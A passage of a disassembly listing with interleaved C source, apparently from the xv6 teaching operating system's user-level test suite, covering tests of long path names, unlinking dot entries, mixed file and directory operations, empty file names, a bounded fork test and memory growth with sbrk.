00 js 27ac <fourteen+0x10c> close(fd); 26fe: 83 ec 0c sub $0xc,%esp 2701: 50 push %eax 2702: e8 e2 11 00 00 call 38e9 <close> fd = open("12345678901234/12345678901234/12345678901234", 0); 2707: 58 pop %eax 2708: 5a pop %edx 2709: 6a 00 push $0x0 270b: 68 d8 51 00 00 push $0x51d8 2710: e8 ec 11 00 00 call 3901 <open> if (fd < 0) { 2715: 83 c4 10 add $0x10,%esp 2718: 85 c0 test %eax,%eax 271a: 78 7d js 2799 <fourteen+0xf9> close(fd); 271c: 83 ec 0c sub $0xc,%esp 271f: 50 push %eax 2720: e8 c4 11 00 00 call 38e9 <close> if (mkdir("12345678901234/12345678901234") == 0) { 2725: c7 04 24 4c 49 00 00 movl $0x494c,(%esp) 272c: e8 f8 11 00 00 call 3929 <mkdir> 2731: 83 c4 10 add $0x10,%esp 2734: 85 c0 test %eax,%eax 2736: 74 4e je 2786 <fourteen+0xe6> if (mkdir("123456789012345/12345678901234") == 0) { 2738: 83 ec 0c sub $0xc,%esp 273b: 68 74 52 00 00 push $0x5274 2740: e8 e4 11 00 00 call 3929 <mkdir> 2745: 83 c4 10 add $0x10,%esp 2748: 85 c0 test %eax,%eax 274a: 74 27 je 2773 <fourteen+0xd3> printf(1, "fourteen ok\n"); 274c: 83 ec 08 sub $0x8,%esp 274f: 68 6a 49 00 00 push $0x496a 2754: 6a 01 push $0x1 2756: e8 05 13 00 00 call 3a60 <printf> } 275b: 83 c4 10 add $0x10,%esp 275e: c9 leave 275f: c3 ret printf(1, "mkdir 12345678901234 failed\n"); 2760: 50 push %eax 2761: 50 push %eax 2762: 68 2f 49 00 00 push $0x492f 2767: 6a 01 push $0x1 2769: e8 f2 12 00 00 call 3a60 <printf> exit(); 276e: e8 4e 11 00 00 call 38c1 <exit> printf(1, "mkdir 12345678901234/123456789012345 succeeded!\n"); 2773: 50 push %eax 2774: 50 push %eax 2775: 68 94 52 00 00 push $0x5294 277a: 6a 01 push $0x1 277c: e8 df 12 00 00 call 3a60 <printf> exit(); 2781: e8 3b 11 00 00 call 38c1 <exit> printf(1, "mkdir 12345678901234/12345678901234 succeeded!\n"); 2786: 52 push %edx 2787: 52 push %edx 2788: 68 44 52 00 00 push $0x5244 278d: 6a 01 push $0x1 278f: e8 cc 12 00 00 call 3a60 <printf> exit(); 2794: e8 28 11 00 00 call 38c1 <exit> printf(1, "open 12345678901234/12345678901234/12345678901234 failed\n"); 2799: 51 push %ecx 279a: 51 push %ecx 279b: 68 08 52 00 00 push $0x5208 27a0: 6a 01 push $0x1 27a2: e8 b9 12 00 00 call 3a60 <printf> exit(); 27a7: e8 15 11 00 00 call 38c1 <exit> printf(1, "create 123456789012345/123456789012345/123456789012345 failed\n"); 27ac: 51 push %ecx 27ad: 51 push %ecx 27ae: 68 98 51 00 00 push $0x5198 27b3: 6a 01 push $0x1 27b5: e8 a6 12 00 00 call 3a60 <printf> exit(); 27ba: e8 02 11 00 00 call 38c1 <exit> printf(1, "mkdir 12345678901234/123456789012345 failed\n"); 27bf: 50 push %eax 27c0: 50 push %eax 27c1: 68 38 51 00 00 push $0x5138 27c6: 6a 01 push $0x1 27c8: e8 93 12 00 00 call 3a60 <printf> exit(); 27cd: e8 ef 10 00 00 call 38c1 <exit> 27d2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 27d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000027e0 <rmdot>: { 27e0: 55 push %ebp 27e1: 89 e5 mov %esp,%ebp 27e3: 83 ec 10 sub $0x10,%esp printf(1, "rmdot test\n"); 27e6: 68 77 49 00 00 push $0x4977 27eb: 6a 01 push $0x1 27ed: e8 6e 12 00 00 call 3a60 <printf> if (mkdir("dots") != 0) { 27f2: c7 04 24 83 49 00 00 movl $0x4983,(%esp) 27f9: e8 2b 11 00 00 call 3929 <mkdir> 27fe: 83 c4 10 add $0x10,%esp 2801: 85 c0 test %eax,%eax 2803: 0f 85 b0 00 00 00 jne 28b9 <rmdot+0xd9> if (chdir("dots") != 0) { 2809: 83 ec 0c sub $0xc,%esp 280c: 68 83 49 00 00 push $0x4983 2811: e8 1b 11 00 00 call 3931 <chdir> 2816: 83 c4 10 add $0x10,%esp 2819: 85 c0 test %eax,%eax 281b: 0f 85 1d 01 00 00 jne 293e <rmdot+0x15e> if (unlink(".") == 0) { 2821: 83 ec 0c sub $0xc,%esp 2824: 68 2e 46 00 00 push $0x462e 2829: e8 e3 10 00 00 call 3911 <unlink> 282e: 83 c4 10 add $0x10,%esp 2831: 85 c0 test %eax,%eax 2833: 0f 84 f2 00 00 00 je 292b <rmdot+0x14b> if (unlink("..") == 0) { 2839: 83 ec 0c sub $0xc,%esp 283c: 68 2d 46 00 00 push $0x462d 2841: e8 cb 10 00 00 call 3911 <unlink> 2846: 83 c4 10 add $0x10,%esp 2849: 85 c0 test %eax,%eax 284b: 0f 84 c7 00 00 00 je 2918 <rmdot+0x138> if (chdir("/") != 0) { 2851: 83 ec 0c sub $0xc,%esp 2854: 68 01 3e 00 00 push $0x3e01 2859: e8 d3 10 00 00 call 3931 <chdir> 285e: 83 c4 10 add $0x10,%esp 2861: 85 c0 test %eax,%eax 2863: 0f 85 9c 00 00 00 jne 2905 <rmdot+0x125> if (unlink("dots/.") == 0) { 2869: 83 ec 0c sub $0xc,%esp 286c: 68 cb 49 00 00 push $0x49cb 2871: e8 9b 10 00 00 call 3911 <unlink> 2876: 83 c4 10 add $0x10,%esp 2879: 85 c0 test %eax,%eax 287b: 74 75 je 28f2 <rmdot+0x112> if (unlink("dots/..") == 0) { 287d: 83 ec 0c sub $0xc,%esp 2880: 68 e9 49 00 00 push $0x49e9 2885: e8 87 10 00 00 call 3911 <unlink> 288a: 83 c4 10 add $0x10,%esp 288d: 85 c0 test %eax,%eax 288f: 74 4e je 28df <rmdot+0xff> if (unlink("dots") != 0) { 2891: 83 ec 0c sub $0xc,%esp 2894: 68 83 49 00 00 push $0x4983 2899: e8 73 10 00 00 call 3911 <unlink> 289e: 83 c4 10 add $0x10,%esp 28a1: 85 c0 test %eax,%eax 28a3: 75 27 jne 28cc <rmdot+0xec> printf(1, "rmdot ok\n"); 28a5: 83 ec 08 sub $0x8,%esp 28a8: 68 1e 4a 00 00 push $0x4a1e 28ad: 6a 01 push $0x1 28af: e8 ac 11 00 00 call 3a60 <printf> } 28b4: 83 c4 10 add $0x10,%esp 28b7: c9 leave 28b8: c3 ret printf(1, "mkdir dots failed\n"); 28b9: 50 push %eax 28ba: 50 push %eax 28bb: 68 88 49 00 00 push $0x4988 28c0: 6a 01 push $0x1 28c2: e8 99 11 00 00 call 3a60 <printf> exit(); 28c7: e8 f5 0f 00 00 call 38c1 <exit> printf(1, "unlink dots failed!\n"); 28cc: 50 push %eax 28cd: 50 push %eax 28ce: 68 09 4a 00 00 push $0x4a09 28d3: 6a 01 push $0x1 28d5: e8 86 11 00 00 call 3a60 <printf> exit(); 28da: e8 e2 0f 00 00 call 38c1 <exit> printf(1, "unlink dots/.. worked!\n"); 28df: 52 push %edx 28e0: 52 push %edx 28e1: 68 f1 49 00 00 push $0x49f1 28e6: 6a 01 push $0x1 28e8: e8 73 11 00 00 call 3a60 <printf> exit(); 28ed: e8 cf 0f 00 00 call 38c1 <exit> printf(1, "unlink dots/. worked!\n"); 28f2: 51 push %ecx 28f3: 51 push %ecx 28f4: 68 d2 49 00 00 push $0x49d2 28f9: 6a 01 push $0x1 28fb: e8 60 11 00 00 call 3a60 <printf> exit(); 2900: e8 bc 0f 00 00 call 38c1 <exit> printf(1, "chdir / failed\n"); 2905: 50 push %eax 2906: 50 push %eax 2907: 68 03 3e 00 00 push $0x3e03 290c: 6a 01 push $0x1 290e: e8 4d 11 00 00 call 3a60 <printf> exit(); 2913: e8 a9 0f 00 00 call 38c1 <exit> printf(1, "rm .. worked!\n"); 2918: 50 push %eax 2919: 50 push %eax 291a: 68 bc 49 00 00 push $0x49bc 291f: 6a 01 push $0x1 2921: e8 3a 11 00 00 call 3a60 <printf> exit(); 2926: e8 96 0f 00 00 call 38c1 <exit> printf(1, "rm . worked!\n"); 292b: 50 push %eax 292c: 50 push %eax 292d: 68 ae 49 00 00 push $0x49ae 2932: 6a 01 push $0x1 2934: e8 27 11 00 00 call 3a60 <printf> exit(); 2939: e8 83 0f 00 00 call 38c1 <exit> printf(1, "chdir dots failed\n"); 293e: 50 push %eax 293f: 50 push %eax 2940: 68 9b 49 00 00 push $0x499b 2945: 6a 01 push $0x1 2947: e8 14 11 00 00 call 3a60 <printf> exit(); 294c: e8 70 0f 00 00 call 38c1 <exit> 2951: eb 0d jmp 2960 <dirfile> 2953: 90 nop 2954: 90 nop 2955: 90 nop 2956: 90 nop 2957: 90 nop 2958: 90 nop 2959: 90 nop 295a: 90 nop 295b: 90 nop 295c: 90 nop 295d: 90 nop 295e: 90 nop 295f: 90 nop 00002960 <dirfile>: { 2960: 55 push %ebp 2961: 89 e5 mov %esp,%ebp 2963: 53 push %ebx 2964: 83 ec 0c sub $0xc,%esp printf(1, "dir vs file\n"); 2967: 68 28 4a 00 00 push $0x4a28 296c: 6a 01 push $0x1 296e: e8 ed 10 00 00 call 3a60 <printf> fd = open("dirfile", O_CREATE); 2973: 59 pop %ecx 2974: 5b pop %ebx 2975: 68 00 02 00 00 push $0x200 297a: 68 35 4a 00 00 push $0x4a35 297f: e8 7d 0f 00 00 call 3901 <open> if (fd < 0) { 2984: 83 c4 10 add $0x10,%esp 2987: 85 c0 test %eax,%eax 2989: 0f 88 43 01 00 00 js 2ad2 <dirfile+0x172> close(fd); 298f: 83 ec 0c sub $0xc,%esp 2992: 50 push %eax 2993: e8 51 0f 00 00 call 38e9 <close> if (chdir("dirfile") == 0) { 2998: c7 04 24 35 4a 00 00 movl $0x4a35,(%esp) 299f: e8 8d 0f 00 00 call 3931 <chdir> 29a4: 83 c4 10 add $0x10,%esp 29a7: 85 c0 test %eax,%eax 29a9: 0f 84 10 01 00 00 je 2abf <dirfile+0x15f> fd = open("dirfile/xx", 0); 29af: 83 ec 08 sub $0x8,%esp 29b2: 6a 00 push $0x0 29b4: 68 6e 4a 00 00 push $0x4a6e 29b9: e8 43 0f 00 00 call 3901 <open> if (fd >= 0) { 29be: 83 c4 10 add $0x10,%esp 29c1: 85 c0 test %eax,%eax 29c3: 0f 89 e3 00 00 00 jns 2aac <dirfile+0x14c> fd = open("dirfile/xx", O_CREATE); 29c9: 83 ec 08 sub $0x8,%esp 29cc: 68 00 02 00 00 push $0x200 29d1: 68 6e 4a 00 00 push $0x4a6e 29d6: e8 26 0f 00 00 call 3901 <open> if (fd >= 0) { 29db: 83 c4 10 add $0x10,%esp 29de: 85 c0 test %eax,%eax 29e0: 0f 89 c6 00 00 00 jns 2aac <dirfile+0x14c> if (mkdir("dirfile/xx") == 0) { 29e6: 83 ec 0c sub $0xc,%esp 29e9: 68 6e 4a 00 00 push $0x4a6e 29ee: e8 36 0f 00 00 call 3929 <mkdir> 29f3: 83 c4 10 add $0x10,%esp 29f6: 85 c0 test %eax,%eax 29f8: 0f 84 46 01 00 00 je 2b44 <dirfile+0x1e4> if (unlink("dirfile/xx") == 0) { 29fe: 83 ec 0c sub $0xc,%esp 2a01: 68 6e 4a 00 00 push $0x4a6e 2a06: e8 06 0f 00 00 call 3911 <unlink> 2a0b: 83 c4 10 add $0x10,%esp 2a0e: 85 c0 test %eax,%eax 2a10: 0f 84 1b 01 00 00 je 2b31 <dirfile+0x1d1> if (link("README", "dirfile/xx") == 0) { 2a16: 83 ec 08 sub $0x8,%esp 2a19: 68 6e 4a 00 00 push $0x4a6e 2a1e: 68 d2 4a 00 00 push $0x4ad2 2a23: e8 f9 0e 00 00 call 3921 <link> 2a28: 83 c4 10 add $0x10,%esp 2a2b: 85 c0 test %eax,%eax 2a2d: 0f 84 eb 00 00 00 je 2b1e <dirfile+0x1be> if (unlink("dirfile") != 0) { 2a33: 83 ec 0c sub $0xc,%esp 2a36: 68 35 4a 00 00 push $0x4a35 2a3b: e8 d1 0e 00 00 call 3911 <unlink> 2a40: 83 c4 10 add $0x10,%esp 2a43: 85 c0 test %eax,%eax 2a45: 0f 85 c0 00 00 00 jne 2b0b <dirfile+0x1ab> fd = open(".", O_RDWR); 2a4b: 83 ec 08 sub $0x8,%esp 2a4e: 6a 02 push $0x2 2a50: 68 2e 46 00 00 push $0x462e 2a55: e8 a7 0e 00 00 call 3901 <open> if (fd >= 0) { 2a5a: 83 c4 10 add $0x10,%esp 2a5d: 85 c0 test %eax,%eax 2a5f: 0f 89 93 00 00 00 jns 2af8 <dirfile+0x198> fd = open(".", 0); 2a65: 83 ec 08 sub $0x8,%esp 2a68: 6a 00 push $0x0 2a6a: 68 2e 46 00 00 push $0x462e 2a6f: e8 8d 0e 00 00 call 3901 <open> if (write(fd, "x", 1) > 0) { 2a74: 83 c4 0c add $0xc,%esp fd = open(".", 0); 2a77: 89 c3 mov %eax,%ebx if (write(fd, "x", 1) > 0) { 2a79: 6a 01 push $0x1 2a7b: 68 11 47 00 00 push $0x4711 2a80: 50 push %eax 2a81: e8 5b 0e 00 00 call 38e1 <write> 2a86: 83 c4 10 add $0x10,%esp 2a89: 85 c0 test %eax,%eax 2a8b: 7f 58 jg 2ae5 <dirfile+0x185> close(fd); 2a8d: 83 ec 0c sub $0xc,%esp 2a90: 53 push %ebx 2a91: e8 53 0e 00 00 call 38e9 <close> printf(1, "dir vs file OK\n"); 2a96: 58 pop %eax 2a97: 5a pop %edx 2a98: 68 05 4b 00 00 push $0x4b05 2a9d: 6a 01 push $0x1 2a9f: e8 bc 0f 00 00 call 3a60 <printf> } 2aa4: 83 c4 10 add $0x10,%esp 2aa7: 8b 5d fc mov -0x4(%ebp),%ebx 2aaa: c9 leave 2aab: c3 ret printf(1, "create dirfile/xx succeeded!\n"); 2aac: 50 push %eax 2aad: 50 push %eax 2aae: 68 79 4a 00 00 push $0x4a79 2ab3: 6a 01 push $0x1 2ab5: e8 a6 0f 00 00 call 3a60 <printf> exit(); 2aba: e8 02 0e 00 00 call 38c1 <exit> printf(1, "chdir dirfile succeeded!\n"); 2abf: 50 push %eax 2ac0: 50 push %eax 2ac1: 68 54 4a 00 00 push $0x4a54 2ac6: 6a 01 push $0x1 2ac8: e8 93 0f 00 00 call 3a60 <printf> exit(); 2acd: e8 ef 0d 00 00 call 38c1 <exit> printf(1, "create dirfile failed\n"); 2ad2: 52 push %edx 2ad3: 52 push %edx 2ad4: 68 3d 4a 00 00 push $0x4a3d 2ad9: 6a 01 push $0x1 2adb: e8 80 0f 00 00 call 3a60 <printf> exit(); 2ae0: e8 dc 0d 00 00 call 38c1 <exit> printf(1, "write . succeeded!\n"); 2ae5: 51 push %ecx 2ae6: 51 push %ecx 2ae7: 68 f1 4a 00 00 push $0x4af1 2aec: 6a 01 push $0x1 2aee: e8 6d 0f 00 00 call 3a60 <printf> exit(); 2af3: e8 c9 0d 00 00 call 38c1 <exit> printf(1, "open . for writing succeeded!\n"); 2af8: 53 push %ebx 2af9: 53 push %ebx 2afa: 68 e8 52 00 00 push $0x52e8 2aff: 6a 01 push $0x1 2b01: e8 5a 0f 00 00 call 3a60 <printf> exit(); 2b06: e8 b6 0d 00 00 call 38c1 <exit> printf(1, "unlink dirfile failed!\n"); 2b0b: 50 push %eax 2b0c: 50 push %eax 2b0d: 68 d9 4a 00 00 push $0x4ad9 2b12: 6a 01 push $0x1 2b14: e8 47 0f 00 00 call 3a60 <printf> exit(); 2b19: e8 a3 0d 00 00 call 38c1 <exit> printf(1, "link to dirfile/xx succeeded!\n"); 2b1e: 50 push %eax 2b1f: 50 push %eax 2b20: 68 c8 52 00 00 push $0x52c8 2b25: 6a 01 push $0x1 2b27: e8 34 0f 00 00 call 3a60 <printf> exit(); 2b2c: e8 90 0d 00 00 call 38c1 <exit> printf(1, "unlink dirfile/xx succeeded!\n"); 2b31: 50 push %eax 2b32: 50 push %eax 2b33: 68 b4 4a 00 00 push $0x4ab4 2b38: 6a 01 push $0x1 2b3a: e8 21 0f 00 00 call 3a60 <printf> exit(); 2b3f: e8 7d 0d 00 00 call 38c1 <exit> printf(1, "mkdir dirfile/xx succeeded!\n"); 2b44: 50 push %eax 2b45: 50 push %eax 2b46: 68 97 4a 00 00 push $0x4a97 2b4b: 6a 01 push $0x1 2b4d: e8 0e 0f 00 00 call 3a60 <printf> exit(); 2b52: e8 6a 0d 00 00 call 38c1 <exit> 2b57: 89 f6 mov %esi,%esi 2b59: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00002b60 <iref>: { 2b60: 55 push %ebp 2b61: 89 e5 mov %esp,%ebp 2b63: 53 push %ebx printf(1, "empty file name\n"); 2b64: bb 33 00 00 00 mov $0x33,%ebx { 2b69: 83 ec 0c sub $0xc,%esp printf(1, "empty file name\n"); 2b6c: 68 15 4b 00 00 push $0x4b15 2b71: 6a 01 push $0x1 2b73: e8 e8 0e 00 00 call 3a60 <printf> 2b78: 83 c4 10 add $0x10,%esp 2b7b: 90 nop 2b7c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if (mkdir("irefd") != 0) { 2b80: 83 ec 0c sub $0xc,%esp 2b83: 68 26 4b 00 00 push $0x4b26 2b88: e8 9c 0d 00 00 call 3929 <mkdir> 2b8d: 83 c4 10 add $0x10,%esp 2b90: 85 c0 test %eax,%eax 2b92: 0f 85 bb 00 00 00 jne 2c53 <iref+0xf3> if (chdir("irefd") != 0) { 2b98: 83 ec 0c sub $0xc,%esp 2b9b: 68 26 4b 00 00 push $0x4b26 2ba0: e8 8c 0d 00 00 call 3931 <chdir> 2ba5: 83 c4 10 add $0x10,%esp 2ba8: 85 c0 test %eax,%eax 2baa: 0f 85 b7 00 00 00 jne 2c67 <iref+0x107> mkdir(""); 2bb0: 83 ec 0c sub $0xc,%esp 2bb3: 68 db 41 00 00 push $0x41db 2bb8: e8 6c 0d 00 00 call 3929 <mkdir> link("README", ""); 2bbd: 59 pop %ecx 2bbe: 58 pop %eax 2bbf: 68 db 41 00 00 push $0x41db 2bc4: 68 d2 4a 00 00 push $0x4ad2 2bc9: e8 53 0d 00 00 call 3921 <link> fd = open("", O_CREATE); 2bce: 58 pop %eax 2bcf: 5a pop %edx 2bd0: 68 00 02 00 00 push $0x200 2bd5: 68 db 41 00 00 push $0x41db 2bda: e8 22 0d 00 00 call 3901 <open> if (fd >= 0) close(fd); 2bdf: 83 c4 10 add $0x10,%esp 2be2: 85 c0 test %eax,%eax 2be4: 78 0c js 2bf2 <iref+0x92> 2be6: 83 ec 0c sub $0xc,%esp 2be9: 50 push %eax 2bea: e8 fa 0c 00 00 call 38e9 <close> 2bef: 83 c4 10 add $0x10,%esp fd = open("xx", O_CREATE); 2bf2: 83 ec 08 sub $0x8,%esp 2bf5: 68 00 02 00 00 push $0x200 2bfa: 68 10 47 00 00 push $0x4710 2bff: e8 fd 0c 00 00 call 3901 <open> if (fd >= 0) close(fd); 2c04: 83 c4 10 add $0x10,%esp 2c07: 85 c0 test %eax,%eax 2c09: 78 0c js 2c17 <iref+0xb7> 2c0b: 83 ec 0c sub $0xc,%esp 2c0e: 50 push %eax 2c0f: e8 d5 0c 00 00 call 38e9 <close> 2c14: 83 c4 10 add $0x10,%esp unlink("xx"); 2c17: 83 ec 0c sub $0xc,%esp 2c1a: 68 10 47 00 00 push $0x4710 2c1f: e8 ed 0c 00 00 call 3911 <unlink> for (i = 0; i < 50 + 1; i++) { 2c24: 83 c4 10 add $0x10,%esp 2c27: 83 eb 01 sub $0x1,%ebx 2c2a: 0f 85 50 ff ff ff jne 2b80 <iref+0x20> chdir("/"); 2c30: 83 ec 0c sub $0xc,%esp 2c33: 68 01 3e 00 00 push $0x3e01 2c38: e8 f4 0c 00 00 call 3931 <chdir> printf(1, "empty file name OK\n"); 2c3d: 58 pop %eax 2c3e: 5a pop %edx 2c3f: 68 54 4b 00 00 push $0x4b54 2c44: 6a 01 push $0x1 2c46: e8 15 0e 00 00 call 3a60 <printf> } 2c4b: 83 c4 10 add $0x10,%esp 2c4e: 8b 5d fc mov -0x4(%ebp),%ebx 2c51: c9 leave 2c52: c3 ret printf(1, "mkdir irefd failed\n"); 2c53: 83 ec 08 sub $0x8,%esp 2c56: 68 2c 4b 00 00 push $0x4b2c 2c5b: 6a 01 push $0x1 2c5d: e8 fe 0d 00 00 call 3a60 <printf> exit(); 2c62: e8 5a 0c 00 00 call 38c1 <exit> printf(1, "chdir irefd failed\n"); 2c67: 83 ec 08 sub $0x8,%esp 2c6a: 68 40 4b 00 00 push $0x4b40 2c6f: 6a 01 push $0x1 2c71: e8 ea 0d 00 00 call 3a60 <printf> exit(); 2c76: e8 46 0c 00 00 call 38c1 <exit> 2c7b: 90 nop 2c7c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00002c80 <forktest>: { 2c80: 55 push %ebp 2c81: 89 e5 mov %esp,%ebp 2c83: 53 push %ebx for (n = 0; n < 1000; n++) { 2c84: 31 db xor %ebx,%ebx { 2c86: 83 ec 0c sub $0xc,%esp printf(1, "fork test\n"); 2c89: 68 68 4b 00 00 push $0x4b68 2c8e: 6a 01 push $0x1 2c90: e8 cb 0d 00 00 call 3a60 <printf> 2c95: 83 c4 10 add $0x10,%esp 2c98: eb 13 jmp 2cad <forktest+0x2d> 2c9a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if (pid == 0) exit(); 2ca0: 74 62 je 2d04 <forktest+0x84> for (n = 0; n < 1000; n++) { 2ca2: 83 c3 01 add $0x1,%ebx 2ca5: 81 fb e8 03 00 00 cmp $0x3e8,%ebx 2cab: 74 43 je 2cf0 <forktest+0x70> pid = fork(); 2cad: e8 07 0c 00 00 call 38b9 <fork> if (pid < 0) break; 2cb2: 85 c0 test %eax,%eax 2cb4: 79 ea jns 2ca0 <forktest+0x20> for (; n > 0; n--) { 2cb6: 85 db test %ebx,%ebx 2cb8: 74 14 je 2cce <forktest+0x4e> 2cba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if (wait() < 0) { 2cc0: e8 04 0c 00 00 call 38c9 <wait> 2cc5: 85 c0 test %eax,%eax 2cc7: 78 40 js 2d09 <forktest+0x89> for (; n > 0; n--) { 2cc9: 83 eb 01 sub $0x1,%ebx 2ccc: 75 f2 jne 2cc0 <forktest+0x40> if (wait() != -1) { 2cce: e8 f6 0b 00 00 call 38c9 <wait> 2cd3: 83 f8 ff cmp $0xffffffff,%eax 2cd6: 75 45 jne 2d1d <forktest+0x9d> printf(1, "fork test OK\n"); 2cd8: 83 ec 08 sub $0x8,%esp 2cdb: 68 9a 4b 00 00 push $0x4b9a 2ce0: 6a 01 push $0x1 2ce2: e8 79 0d 00 00 call 3a60 <printf> } 2ce7: 8b 5d fc mov -0x4(%ebp),%ebx 2cea: c9 leave 2ceb: c3 ret 2cec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi printf(1, "fork claimed to work 1000 times!\n"); 2cf0: 83 ec 08 sub $0x8,%esp 2cf3: 68 08 53 00 00 push $0x5308 2cf8: 6a 01 push $0x1 2cfa: e8 61 0d 00 00 call 3a60 <printf> exit(); 2cff: e8 bd 0b 00 00 call 38c1 <exit> if (pid == 0) exit(); 2d04: e8 b8 0b 00 00 call 38c1 <exit> printf(1, "wait stopped early\n"); 2d09: 83 ec 08 sub $0x8,%esp 2d0c: 68 73 4b 00 00 push $0x4b73 2d11: 6a 01 push $0x1 2d13: e8 48 0d 00 00 call 3a60 <printf> exit(); 2d18: e8 a4 0b 00 00 call 38c1 <exit> printf(1, "wait got too many\n"); 2d1d: 50 push %eax 2d1e: 50 push %eax 2d1f: 68 87 4b 00 00 push $0x4b87 2d24: 6a 01 push $0x1 2d26: e8 35 0d 00 00 call 3a60 <printf> exit(); 2d2b: e8 91 0b 00 00 call 38c1 <exit> 00002d30 <sbrktest>: { 2d30: 55 push %ebp 2d31: 89 e5 mov %esp,%ebp 2d33: 57 push %edi 2d34: 56 push %esi 2d35: 53 push %ebx for (i = 0; i < 5000; i++) { 2d36: 31 ff xor %edi,%edi { 2d38: 83 ec 64 sub $0x64,%esp printf(stdout, "sbrk test\n"); 2d3b: 68 a8 4b 00 00 push $0x4ba8 2d40: ff 35 a8 5e 00 00 pushl 0x5ea8 2d46: e8 15 0d 00 00 call 3a60 <printf> oldbrk = sbrk(0); 2d4b: c7 04 24 00 00 00 00 movl $0x0,(%esp) 2d52: e8 f2 0b 00 00 call 3949 <sbrk> a = sbrk(0); 2d57: c7 04 24 00 00 00 00 movl $0x0,(%esp) oldbrk = sbrk(0); 2d5e: 89 c3 mov %eax,%ebx a = sbrk(0); 2d60: e8 e4 0b 00 00 call 3949 <sbrk> 2d65: 83 c4 10 add $0x10,%esp 2d68: 89 c6 mov %eax,%esi 2d6a: eb 06 jmp 2d72 <sbrktest+0x42> 2d6c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi a = b + 1; 2d70: 89 c6 mov %eax,%esi b = sbrk(1); 2d72: 83 ec 0c sub $0xc,%esp 2d75: 6a 01 push $0x1 2d77: e8 cd 0b 00 00 call 3949 <sbrk> if (b != a) { 2d7c: 83 c4 10 add $0x10,%esp 2d7f: 39 f0 cmp %esi,%eax 2d81: 0f 85 62 02 00 00 jne 2fe9 <sbrktest+0x2b9> for (i = 0; i < 5000; i++) { 2d87: 83 c7 01 add $0x1,%edi *b = 1; 2d8a: c6 06 01 movb $0x1,(%esi) a = b + 1; 2d8d: 8d 46 01 lea 0x1(%esi),%eax for (i = 0; i < 5000; i++) { 2d90: 81 ff 88 13 00 00 cmp $0x1388,%edi 2d96: 75 d8 jne 2d70 <sbrktest+0x40> pid = fork(); 2d98: e8 1c 0b 00 00 call 38b9 <fork> if (pid < 0) { 2d9d: 85 c0 test %eax,%eax pid = fork(); 2d9f: 89 c7 mov %eax,%edi if (pid < 0) { 2da1: 0f 88 82 03 00 00 js 3129 <sbrktest+0x3f9> c = sbrk(1); 2da7: 83 ec 0c sub $0xc,%esp if (c != a + 1) { 2daa: 83 c6 02 add $0x2,%esi c = sbrk(1); 2dad: 6a 01 push $0x1 2daf: e8 95 0b 00 00 call 3949 <sbrk> c = sbrk(1); 2db4: c7 04 24 01 00 00 00 movl $0x1,(%esp) 2dbb: e8 89 0b 00 00 call 3949 <sbrk> if (c != a + 1) { 2dc0: 83 c4 10 add $0x10,%esp 2dc3: 39 f0 cmp %esi,%eax 2dc5: 0f 85 47 03 00 00 jne 3112 <sbrktest+0x3e2> if (pid == 0) exit(); 2dcb: 85 ff test %edi,%edi 2dcd: 0f 84 3a 03 00 00 je 310d <sbrktest+0x3dd> wait(); 2dd3: e8 f1 0a 00 00 call 38c9 <wait> a = sbrk(0); 2dd8: 83 ec 0c sub $0xc,%esp 2ddb: 6a 00 push $0x0 2ddd: e8 67 0b 00 00 call 3949 <sbrk> 2de2: 89 c6 mov %eax,%esi amt = (BIG) - (uint)a; 2de4: b8 00 00 40 06 mov $0x6400000,%eax 2de9: 29 f0 sub %esi,%eax p = sbrk(amt); 2deb: 89 04 24 mov %eax,(%esp) 2dee: e8 56 0b 00 00 call 3949 <sbrk> if (p != a) { 2df3: 83 c4 10 add $0x10,%esp 2df6: 39 c6 cmp %eax,%esi 2df8: 0f 85 f8 02 00 00 jne 30f6 <sbrktest+0x3c6> a = sbrk(0); 2dfe: 83 ec 0c sub $0xc,%esp *lastaddr = 99; 2e01: c6 05 ff ff 3f 06 63 movb $0x63,0x63fffff a = sbrk(0); 2e08: 6a 00 push $0x0 2e0a: e8 3a 0b 00 00 call 3949 <sbrk> c = sbrk(-4096); 2e0f: c7 04 24 00 f0 ff ff movl $0xfffff000,(%esp) a = sbrk(0); 2e16: 89 c6 mov %eax,%esi c = sbrk(-4096); 2e18: e8 2c 0b 00 00 call 3949 <sbrk> if (c == (char *)0xffffffff) { 2e1d: 83 c4 10 add $0x10,%esp 2e20: 83 f8 ff cmp $0xffffffff,%eax 2e23: 0f 84 b6 02 00 00 je 30df <sbrktest+0x3af> c = sbrk(0); 2e29: 83 ec 0c sub $0xc,%esp 2e2c: 6a 00 push $0x0 2e2e: e8 16 0b 00 00 call 3949 <sbrk> if (c != a - 4096) { 2e33: 8d 96 00 f0 ff ff lea -0x1000(%esi),%edx 2e39: 83 c4 10 add $0x10,%esp 2e3c: 39 d0 cmp %edx,%eax 2e3e: 0f 85 84 02 00 00 jne 30c8 <sbrktest+0x398> a = sbrk(0); 2e44: 83 ec 0c sub $0xc,%esp 2e47: 6a 00 push $0x0 2e49: e8 fb 0a 00 00 call 3949 <sbrk> 2e4e: 89 c6 mov %eax,%esi c = sbrk(4096); 2e50: c7 04 24 00 10 00 00 movl $0x1000,(%esp) 2e57: e8 ed 0a 00 00 call 3949 <sbrk> if (c != a || sbrk(0) != a + 4096) { 2e5c: 83 c4 10 add $0x10,%esp 2e5f: 39 c6 cmp %eax,%esi c = sbrk(4096); 2e61: 89 c7 mov %eax,%edi if (c != a || sbrk(0) != a + 4096) { 2e63: 0f 85 48 02 00 00 jne 30b1 <sbrktest+0x381> 2e69: 83 ec 0c sub $0xc,%esp 2e6c: 6a 00 push $0x0 2e6e: e8 d6 0a 00 00 call 3949 <sbrk> 2e73: 8d 96 00 10 00 00 lea 0x1000(%esi),%edx 2e79: 83 c4 10 add $0x10,%esp 2e7c: 39 d0 cmp %edx,%eax 2e7e: 0f 85 2d 02 00 00 jne 30b1 <sbrktest+0x381> if (*lastaddr == 99) { 2e84: 80 3d ff ff 3f 06 63 cmpb $0x63,0x63fffff 2e8b: 0f 84 09 02 00 00 je 309a <sbrktest+0x36a> a = sbrk(0); 2e91: 83 ec 0c sub $0xc,%esp 2e94: 6a 00 push 